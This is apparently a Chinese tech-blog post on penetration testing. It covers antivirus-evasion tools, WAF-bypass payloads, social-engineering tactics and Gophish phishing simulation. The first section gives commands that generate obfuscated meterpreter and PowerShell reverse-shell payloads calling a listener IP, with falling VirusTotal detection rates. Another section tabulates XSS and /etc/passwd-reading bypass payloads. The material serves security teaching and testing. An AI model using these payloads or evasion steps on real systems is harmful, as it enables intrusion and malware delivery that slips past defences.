16、网络安全工具与攻击防御策略解析-优快云博客

本文链接：https://blog.youkuaiyun.com/tree/article/details/151276048

网络安全工具与攻击防御策略解析

1. 免杀工具介绍

1.1 Unicorn

Unicorn 是一款可执行 PowerShell 降级攻击并将 shellcode 直接注入系统内存的工具。使用步骤如下：
1. 克隆 Unicorn 仓库：

git clone github.com/trustedsec/unicorn

cd unicorn

查看可用选项和攻击描述：

./unicorn.py --help

创建 payload：

./unicorn.py windows/meterpreter/reverse_tcp <Listener IP> <Listener Port>

启动监听器：

msfconsole -r unicorn.rc

将生成的 TXT 文件中的 PowerShell 代码复制到受害者机器的 PowerShell 中执行，建立反向连接。上传该 TXT 有效负载到 VirusTotal 检测，检测率仅为 14/58。

1.2 Phantom - Evasion

Phantom - Evasion 是基于 Python 的用于绕过杀毒软件的工具，能生成难以检测的可执行文件。使用步骤如下：
1. 下载工具：

git clone https://github.com/oddcod3/Phantom - Evasion.git

cd /phantom - evasion
chmod +x ./phantom - evasion.py
./phantom - evasion.py --setup

获取帮助和可用功能列表：

./phantom - evasion.py --help

生成有效负载：

python3 phantom - evasion.py -m WSI -msfp windows/meterpreter/reverse_tcp -H 192.168.29.15 -P 4444 -i Thread -e 4 -mem Virtual_RWX -j 1 -J 15 -jr 0 -E 5 -f exe -o PhEv.exe

上传生成的有效负载到 VirusTotal 检测，检测率为 31/71。

1.3 Invoke - Stealth

Invoke - Stealth 可自动化对 PowerShell 脚本进行混淆处理。使用步骤如下：
1. 下载工具：

git clone https://github.com/JoelGMSec/Invoke - Stealth.git

cd Invoke - Stealth
pwsh Invoke - Stealth.ps1 --help

使用 msfvenom 生成标准 PowerShell 有效负载：

msfvenom -p windows/powershell_reverse_tcp LHOST = 192.168.29.15 LPORT = 4444 -e x86/shikata_ga_nai -f psh -o payloadummed.ps1

上传未混淆的有效负载到 VirusTotal 检测，检测率为 25/59。
使用 Invoke - Stealth 混淆有效负载：

pwsh Invoke - Stealth.ps1 /home/ummedmeel/Desktop/payloadummedm.ps1 -technique All

再次上传混淆后的有效负载到 VirusTotal 检测，检测率降为 2/59。

2. WAF 绕过技术

2.1 WAF 概述

Web 应用防火墙（WAF）通过一组规则来识别和阻止恶意请求或可疑活动，保护 Web 应用程序。渗透测试人员使用 WAF 绕过技术来识别受防火墙保护的 Web 应用程序中的潜在漏洞。

2.2 常见绕过技术及描述

技术	描述
有效负载混淆	修改或编码攻击有效负载以绕过基于签名的检测，如 URL 编码、字符编码等
参数碎片化	将攻击有效负载分散到多个请求参数或部分，绕过基于完整攻击模式的特定 WAF 规则
协议级绕过	利用 HTTP 协议规范中的不一致或歧义来操纵请求头
操纵 HTTP 方法	使用不常用的 HTTP 方法（如 PROPFIND 或 OPTIONS）绕过特定 WAF 保护
IP 和用户代理欺骗	修改源 IP 地址或用户代理头，伪装成可信实体或合法用户
请求走私	利用服务器解释 HTTP 请求分隔符的差异或在单个 HTTP 连接中处理多个请求
WAF 配置错误	识别并利用 WAF 规则、白名单或黑名单中的配置错误，绕过特定保护
HTTP 参数污染	操纵或复制请求中的参数，使 WAF 混淆并可能绕过其过滤机制
慢速 HTTP 攻击	通过缓慢发送数据请求，利用服务器资源处理机制，导致超时或资源耗尽
加密流量	使用加密方法（如 SSL/TLS）隐藏恶意有效负载，避免 WAF 检查

2.3 部分技术的有效负载示例

技术	标准有效负载	绕过有效负载
大小写操作	`<script>alert()</script>`	`<ScRiPt>alert()</ScRiPt>`
HTML 编码	`<script>alert(1)</script>`	`<script>alert(1)</script>`
URL 百分比编码	`<img src=x onerror=alert(1)>`	`%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E`
Unicode 转换	`<script>alert(1)</script>`	`<script>alert\u00281\u0029</script>`
混合编码	`<script>alert(1)</script>`	`%3cscript%3ealert%281%29%3c%2fscript%3e`
注释和空格技巧	`<script>alert(1)</script>`	`<!-- <script> --> alert(1) <!-- </script> -->`
有效负载碎片化和拼接	`<script>alert(1)</script>`	`<<script>>a<</script>>lert(1)<</script>>`
动态有效负载生成	`<script>alert(1)</script>`	`<script>e%76al('a'%2B'lert(1)')</script>`
未初始化变量利用	`/bin/cat /etc/passwd`	`/bin/cat$randomVar /etc/passwd$randomVar`
制表符和换行符	`<script>alert(1);</script>`	`<script> alert(1);</script>`

3. 社会工程学攻击策略

3.1 社会工程学概述

社会工程学利用人类心理和信任，操纵个人泄露敏感信息或绕过安全措施，对组织的网络安全构成重大威胁。

3.2 常见社会工程学攻击技术

技术	描述
网络钓鱼	攻击者使用欺骗性电子邮件，冒充合法来源，诱使收件人泄露机密信息或点击恶意链接
借口欺骗	攻击者编造虚假场景或理由，操纵个人泄露敏感信息或执行异常操作
诱饵攻击	攻击者在公共场所放置物理设备或受感染的媒体（如 USB 驱动器），诱使不知情的个人执行恶意代码
尾随攻击	攻击者利用员工的信任，紧跟他们或冒充授权人员，获得对受限区域或系统的未授权访问
冒充攻击	攻击者冒充可信实体（如同事、IT 支持人员或供应商），欺骗个人分享敏感信息或授予未授权访问权限
反向社会工程学	攻击者先与个人建立信任，然后操纵他们执行有害操作或泄露机密信息

3.3 组织防范措施

持续教育 ：定期教育员工各种社会工程学技术，提高对潜在威胁的认识。
实施零信任策略 ：采用零信任方法，实施严格的访问控制，包括强大的身份验证机制和最小权限原则。
警惕补丁管理 ：实施有效的补丁管理周期，及时修复已知漏洞，防止攻击者利用。
电子邮件过滤和垃圾邮件检测 ：部署可靠的电子邮件过滤和垃圾邮件检测机制，识别并阻止网络钓鱼尝试。
定期安全评估 ：进行定期的安全评估，包括模拟社会工程学攻击，识别新兴攻击趋势和漏洞。
多层安全方法 ：采用综合安全策略，结合先进技术解决方案、持续员工教育和主动措施。

4. 网络钓鱼模拟

4.1 网络钓鱼的作用

网络钓鱼可用于评估组织员工对钓鱼攻击的易感性，提高员工对钓鱼攻击风险和后果的认识，评估组织事件响应流程的有效性。

4.2 网络钓鱼评估步骤

graph LR
    A[规划] --> B[设计场景]
    B --> C[发送与跟踪]
    C --> D[分析与报告]
    D --> E[培训与意识提升]

规划：定义评估目标、范围、目标受众和评估参数，可能包括创建模板、着陆页和信息内容。
设计场景 ：根据组织行业、通信模式、当前全球事件或热门话题，开发逼真的网络钓鱼电子邮件或情境。
发送与跟踪 ：将模拟网络钓鱼电子邮件分发给指定员工或用户组，使用跟踪机制监控收件人的操作。
分析与报告 ：评估网络钓鱼评估结果，包括打开率、点击率、响应率和事件报告，评估安全控制的有效性，确定改进领域并生成包含可行建议的综合报告。
培训与意识提升 ：根据评估结果，提供针对性的培训和意识计划，教育员工有关网络钓鱼攻击的风险、技术和预防措施。

4.3 开源网络钓鱼模拟器

常见的开源网络钓鱼模拟器有 Gophish、LUCY、Simple Phishing Toolkit (sptoolkit)、Phishing Frenzy、King Phisher、SpeedPhish Framework (SPF)、Social - Engineer Toolkit (SET)。

4.4 Gophish 安装与使用

4.4.1 安装步骤

下载 Gophish：访问 Gophish GitHub 仓库（https://github.com/gophish/gophish/releases），下载最新版本的 ZIP 文件。
解压 Gophish：在终端中导航到下载文件夹，使用以下命令解压：

unzip gophish - downloaded - zip.zip

设置权限：

chmod +x gophish

启动 Gophish：

./gophish

访问 Gophish 网页界面：在浏览器中输入 http://localhost:3333，使用默认用户名和密码（admin: 73e15a78b09e7c9b）登录。
创建新密码：登录后，根据提示创建新密码。
设置 Gophish：按照网页界面上的说明完成初始设置，包括设置管理员密码、配置电子邮件设置和创建第一个网络钓鱼活动。

4.4.2 使用步骤

点击“Email Templates”，使用 HTML 或普通文本创建新模板。
点击“Landing Pages”，创建受害者点击电子邮件链接后着陆并提交个人数据的页面。
点击“Sending Profiles”，配置发送网络钓鱼电子邮件的电子邮件账户详细信息。
点击“Campaigns”，使用选定的模板和确定的用户组开始发送电子邮件。
探索 Gophish 仪表板，获取有关活动的信息，如发送的电子邮件数量、打开数量和提交的数据，进行详细分析并准备综合报告。

5. 免杀工具总结与对比

5.1 工具特点对比

工具名称	特点	检测率表现
Unicorn	通过强大的编码和混淆技术生成难以检测的有效负载可执行文件，能利用 Metasploit 模块连接攻击者 IP，操作相对简单	上传 TXT 有效负载到 VirusTotal 检测率为 14/58
Phantom - Evasion	基于 Python，即使使用常用的 x86 msfvenom 有效负载也能生成极难检测的可执行文件	生成的可执行文件上传到 VirusTotal 检测率为 31/71
Invoke - Stealth	可自动化对 PowerShell 脚本进行多种技术的混淆处理，能单独、组合或按顺序使用不同混淆技术	未混淆的 PowerShell 有效负载检测率为 25/59，混淆后降为 2/59

5.2 适用场景分析

Unicorn ：适用于需要快速生成简单且隐蔽性较好的 PowerShell 有效负载的场景，对于初学者或者对操作便捷性要求较高的情况较为合适。
Phantom - Evasion ：在需要生成可执行文件且对可执行文件的免杀性有较高要求时，尤其是使用 msfvenom 有效负载的场景下，该工具能发挥较好的作用。
Invoke - Stealth ：主要针对 PowerShell 脚本的混淆，当需要对 PowerShell 有效负载进行深度混淆以躲避检测时，Invoke - Stealth 是不错的选择。

6. WAF 绕过技术深入探讨

6.1 技术综合运用

在实际的渗透测试中，单一的 WAF 绕过技术可能无法达到理想的效果，需要综合运用多种技术。例如，可以先使用有效负载混淆技术对攻击有效负载进行初步处理，然后结合参数碎片化技术将处理后的有效负载分散到多个请求参数中，再利用协议级绕过技术操纵请求头，进一步增加绕过 WAF 的可能性。

6.2 应对 WAF 升级

随着 WAF 技术的不断发展和升级，传统的绕过技术可能会逐渐失效。因此，渗透测试人员需要不断研究新的绕过方法。例如，当 WAF 加强了对常见编码方式的检测时，可以尝试使用更复杂的混合编码方式，或者结合动态有效负载生成技术，实时生成难以被检测的有效负载。

6.3 技术风险评估

在使用 WAF 绕过技术时，需要对可能带来的风险进行评估。一些绕过技术可能会触发 WAF 的更严格检测机制，导致攻击行为被发现。例如，频繁使用慢速 HTTP 攻击可能会引起服务器的异常响应，从而被 WAF 识别为恶意行为。因此，在选择和使用绕过技术时，需要根据具体情况进行权衡。

7. 社会工程学攻击与防范的动态博弈

7.1 攻击手段的演变

社会工程学攻击手段并非一成不变，而是随着时间和环境的变化不断演变。例如，早期的网络钓鱼邮件可能只是简单的伪装成银行通知，现在的网络钓鱼邮件则会结合当前的热门事件，如疫情防控通知、电商促销活动等，使邮件更加逼真，增加收件人上当受骗的几率。

7.2 防范措施的持续改进

面对不断演变的社会工程学攻击，组织的防范措施也需要持续改进。除了前面提到的持续教育、实施零信任策略等措施外，还可以引入人工智能和机器学习技术，对邮件内容、用户行为等进行实时分析，及时发现潜在的社会工程学攻击。

7.3 人机结合的防范体系

防范社会工程学攻击不能仅仅依靠技术手段，还需要充分发挥人的作用。组织可以建立一支专门的应急响应团队，当发现可能的社会工程学攻击事件时，能够迅速进行处理。同时，员工也需要保持警惕，提高自身的安全意识，形成人机结合的防范体系。

8. 网络钓鱼模拟的优化与拓展

8.1 模拟场景的多样化

在进行网络钓鱼模拟时，可以进一步拓展模拟场景的多样性。除了常见的电子邮件钓鱼外，还可以模拟短信钓鱼、即时通讯工具钓鱼等场景。同时，根据不同的行业特点和组织需求，设计更加个性化的模拟场景，提高模拟的真实性和有效性。

8.2 数据深度分析

在分析网络钓鱼模拟结果时，不仅仅关注打开率、点击率等表面数据，还可以进行更深度的数据分析。例如，分析不同部门、不同职位的员工对网络钓鱼攻击的响应情况，找出容易受到攻击的群体，有针对性地开展培训。

8.3 与其他安全措施的整合

网络钓鱼模拟可以与组织的其他安全措施进行整合。例如，将网络钓鱼模拟结果与漏洞扫描结果相结合，全面评估组织的安全状况。同时，将网络钓鱼模拟纳入组织的安全演练体系，定期进行演练，提高员工的应急处理能力。

9. 网络安全工具与策略的未来发展趋势

9.1 工具智能化

未来的免杀工具、WAF 绕过工具等网络安全工具将朝着智能化方向发展。工具将能够自动分析目标环境，选择最合适的技术和方法进行攻击或绕过，大大提高攻击效率和成功率。

9.2 防御体系一体化

随着攻击手段的多样化和复杂化，单一的安全防御措施将难以应对。未来的网络安全防御体系将朝着一体化方向发展，将免杀检测、WAF 防护、社会工程学防范等多种措施整合在一起，形成一个全方位、多层次的防御体系。

9.3 攻防对抗加剧

网络安全领域的攻防对抗将越来越激烈。攻击者会不断研究新的攻击技术和方法，而防御者也会不断加强防御措施。这种对抗将推动网络安全技术的不断发展和进步。

9.4 合规与隐私保护并重

在未来的网络安全发展中，合规和隐私保护将变得越来越重要。组织在进行安全防护的同时，需要遵守相关的法律法规，保护用户的隐私信息。网络安全工具和策略的设计也需要充分考虑合规和隐私保护的要求。

综上所述，网络安全是一个复杂且不断发展的领域，需要我们不断学习和研究新的技术和方法。无论是使用免杀工具、绕过 WAF 保护，还是防范社会工程学攻击和进行网络钓鱼模拟，都需要我们根据实际情况选择合适的策略和方法，并不断优化和改进。只有这样，我们才能在日益严峻的网络安全形势下，保障组织和个人的信息安全。